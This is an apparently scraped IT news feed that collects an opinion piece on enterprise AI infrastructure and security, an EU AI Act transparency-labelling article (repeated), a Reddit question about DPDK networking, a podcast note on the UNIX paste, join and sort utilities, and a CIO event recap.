CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.

Security cannot be added later

As AI moves from answering questions to acting, security becomes much more important.

An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.

The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.

Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.

AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.

The NIST AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.

Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.

The CIO has to define the operating model

AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.

The CIO sits in the middle of all of it.

That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.

That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?

This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.

The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.

They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.

The model still matters. But the enterprise behind the model matters more.

A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.

That is the shift CIOs need to lead.

The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Where a CBOM solution actually sits: fitting cryptographic inventory into your architecture ]]> https://tsecurity.de/de/3682729/it-security-nachrichten/where-a-cbom-solution-actuallysitsfitting-cryptographic-inventory-into-your-architecture/ https://tsecurity.de/de/3682729/it-security-nachrichten/where-a-cbom-solution-actuallysitsfitting-cryptographic-inventory-into-your-architecture/ Tue, 21 Jul 2026 07:24:45 +0200 📰 IT Security Nachrichten tsecurity.de Most teams meet the idea of a cryptographic bill of materials (CBOM) as a compliance requirement or a post-quantum talking point, and then run straight into a practical question that nobody answered for them: where does this thing go? Is it a scanner? An agent on every box? A database? Something that replaces the CMDB, [
]

The post Where a CBOM solution actually sits: fitting cryptographic inventory into your architecture  appeared first on Cyber Security News.

]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 04:02:28 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass]]> https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/ https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/ Tue, 21 Jul 2026 03:56:19 +0200 🐧 Linux Tipps tsecurity.de

Hi everyone,

I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.

GitHub:
https://github.com/Shivfun99/Pulse-Order

past posts:

https://www.reddit.com/r/quantindia/s/u45s60B33Q

https://www.reddit.com/r/quant/s/IHKVkv0UGv

Current Version (V1)

The project currently includes:

  • Binary market data parsing
  • Level 2 order book
  • Strategy + risk checks
  • DPDK-based packet processing experiments
  • AF_PACKET backend for packet RX/TX
  • Cache-friendly C++20 implementation
  • Lock-free queues
  • Application-side latency benchmarking
  • Scenario testing and benchmarking framework

Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is not true wire-to-wire latency since it doesn't involve a physical DPDK-supported NIC.

What I want to build in V2

I want to move to a real DPDK kernel-bypass architecture using a physical NIC instead of AF_PACKET.

My goals are:

  • Real kernel bypass using DPDK
  • VFIO-bound NIC
  • Poll Mode Driver (PMD)
  • Physical RX/TX queues
  • End-to-end latency measurement
  • Hardware timestamping (later)
  • Multi-queue support
  • Real market-data replay
  • Accurate p99/p99.9 latency analysis

My situation

At the moment I only have an ASUS TUF Gaming A15 laptop running Ubuntu. I don't have a desktop or server.

From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.

My questions

  1. Is there any practical way to use a real DPDK-supported NIC with only this laptop?
  2. Would you recommend moving to a desktop before attempting real kernel bypass?
  3. What hardware would you buy if you were starting today on a limited budget?
  4. Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?
  5. If you were designing the next version of this project, what features would you prioritize?

I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.

Thanks!

submitted by /u/Federal_Tackle3053
[link] [comments]]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 03:48:17 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

]]> <![CDATA[HPR4687: UNIX Curio #11 - Merging Files]]> https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/ https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/ Tue, 21 Jul 2026 02:03:23 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

ether

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

I frequently find myself reaching for the cut utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, paste , I don't employ it very often because I don't typically need its functionality.

This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 ( HPR episode 4657 ), I felt like maybe I had been too dismissive of the comm utility in that episode and should talk more about tools that are useful when managing lists.

I don't frequently find myself using paste 1 , but can explain how it works. Briefly, it is a rough opposite of cut —when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the -d option. Another option is -s , which swaps rows and columns so that the contents of each named file would appear on one line. While paste itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.

Example of using paste to turn the output of ls into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The -1 is not required for the second ls command since that behavior is implied when output isn't going to a terminal. The -C option to ls usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to -C when output goes to a terminal.) If you want items ascending along rows like the paste example does, try ls -x instead. 

$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat

The paste command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do not necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes 962 and 4201 for some more background on the paste utility.

Example of using paste with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry. 

$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278

Our second UNIX Curio for today is a utility called join 2 , which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The -1 and -2 options can be used to join on a different field, and -o selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the -a option, but an actual empty string with separator won't be printed unless -o is also present and includes the field.

The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The -t option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If -t is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like tr if you wanted to have a different separator in the output.

The join utility might be an improvement over paste in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together join commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.

Example showing how join can be used with two tab-separated lists. The LC_ALL assignment forces join to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if -t were not specified, plist would be treated as having three fields because of the space separating the country code from the rest of the phone number. 

$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278

The brief description for join is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how join could be suitable for simple operations.

Our last UNIX Curio for today relates to the sort utility 3 . While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the -m option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does not matter; it is not required for the contents of the first file to start before the second, just that both are sorted.

$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave

Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command sort -m -u 2023list 2024list 2025list would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the -u option—it removes any duplicate entries.

It is probably no surprise that the sort utility appeared early on—it was in 1971's First Edition UNIX, though it didn't gain the merging functionality until Fifth Edition 4 in 1973. What did come as a shock to me is that both cut and paste didn't show up until 1980 with System III 5 , and were actually preceded by join , which was in Seventh Edition UNIX 6 from 1979. I assumed that at least cut would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just seems to have been with us forever.

As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the join utility or these features of paste and sort very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.

References:

  1. Paste specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html
  2. Join specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html
  3. Sort specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html
  4. A Research UNIX Reader: Fifth Edition sort manual page https://archive.org/details/a_research_unix_reader/page/n19/mode/1up
  5. System III paste manual page https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1
  6. Seventh Edition UNIX join manual page https://man.cat-v.org/unix_7th/1/join

Provide feedback on this episode.

]]> <![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]> https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/ https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/ Tue, 21 Jul 2026 01:07:24 +0200 📰 IT Security Nachrichten tsecurity.de

Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.

Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.

Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.

Morning roundtable tackles AI infrastructure

The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.

The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.

The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.

Forum sessions open with a mandate for growth

Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.

PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.

The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.

Talent, tradeoffs, and the cost of getting it wrong

The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.

The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.

Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.

A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.

Afternoon sessions turn to security, scale, and investment signals

